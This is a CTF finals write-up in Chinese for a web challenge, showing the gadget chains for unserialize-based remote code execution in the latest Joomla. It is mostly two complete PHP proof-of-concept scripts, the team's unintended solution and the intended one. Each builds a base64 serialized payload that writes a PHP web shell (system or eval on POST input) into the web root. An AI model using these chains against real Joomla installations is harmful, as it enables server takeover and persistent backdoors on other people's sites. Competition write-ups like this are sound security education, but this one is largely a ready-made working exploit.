强网拟态 2025 Finals Writeup
Lilac 1st👑
Web
Joomla!
Joomla 最新版的反序列化,挖就完事了。实际上我们挖到的甚至不是预期解。
链子:
unserialize →
DatabaseDriver::$dispatcher →
Dispatcher::$listeners[event] →
callback = [$resource, 'getInstance'] →
ContainerResource::getInstance() →
($this->factory)($this->container)
poc:
<?php
namespace Joomla\Database {
class DatabaseDriver {
private $dispatcher;
protected $connection = 1;
public function __construct($dispatcher) {
$this->dispatcher = $dispatcher;
}
}
}
namespace Joomla\Database\Mysqli {
use Joomla\Database\DatabaseDriver;
class MysqliDriver extends DatabaseDriver {}
}
namespace Joomla\Event {
class Dispatcher {
protected $listeners = [];
public function __construct($listeners) {
$this->listeners = $listeners;
}
}
}
namespace Joomla\DI {
class ContainerResource {
private $container;
private $factory;
private $shared = false;
private $protected = false;
public function __construct($command, $arg) {
$this->factory = $command;
$this->container = $arg;
$this->shared = false;
}
}
}
namespace {
use Joomla\Database\Mysqli\MysqliDriver;
use Joomla\Event\Dispatcher;
use Joomla\DI\ContainerResource;
$command = 'system';
$arg = 'echo "<?php system(\$_POST[\'cmd\']); ?>" > /var/www/html/shell1.php';
$resource = new ContainerResource($command, $arg);
$eventName = 'onAfterDisconnect';
$listeners = [
$eventName => [
[$resource, 'getInstance']
]
];
$dispatcher = new Dispatcher($listeners);
$driver = new MysqliDriver($dispatcher);
echo base64_encode(serialize($driver));
}
而预期解是:
<?php
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
class Stream
{
protected $processingmethod;
protected $fh = 1;
public function __construct()
{
$this->processingmethod = new CallbackStream(); //__toString
}
}
namespace Laminas\Diactoros;
use Joomla\CMS\Document\HtmlDocument;
class CallbackStream
{
protected $callback;
public function __construct()
{
$this->callback = [new HtmlDocument(), "render"]; //__invoke或者任意无参方法。
}
}
namespace Joomla\CMS\Document;
use Joomla\CMS\WebAsset\WebAssetManager;
class HtmlDocument extends Document
{
protected $_template = 'Infernity';
protected $_template_tags = [
"anything" => [
"type" => "Scripts",
"name" => "anything",
"attribs" => "anything"
]
];
public function __construct()
{
$this->_type = "Html";
$this->webAssetManager = new WebAssetManager();
$this->factory = new Factory();
}
}
class Document //父类
{
public $_type;
protected $factory;
protected $webAssetManager;
}
class Factory
{
} //工厂类
namespace Joomla\CMS\WebAsset;
use Joomla\CMS\Cache\Controller\CallbackController;
class WebAssetManager
{
protected $activeAssets = [];
protected $registry;
public function __construct()
{
$this->activeAssets = ["system" => ["echo '<?php eval(\$_POST[1]);'>1.php" => 1]]; //RCE,方法命令自定义
$this->registry = new CallbackController();
}
}
namespace Joomla\CMS\Cache\Controller;
class CallbackController
{
}
namespace Joomla\Filesystem;
$a = new Stream();
echo base64_encode(serialize($a));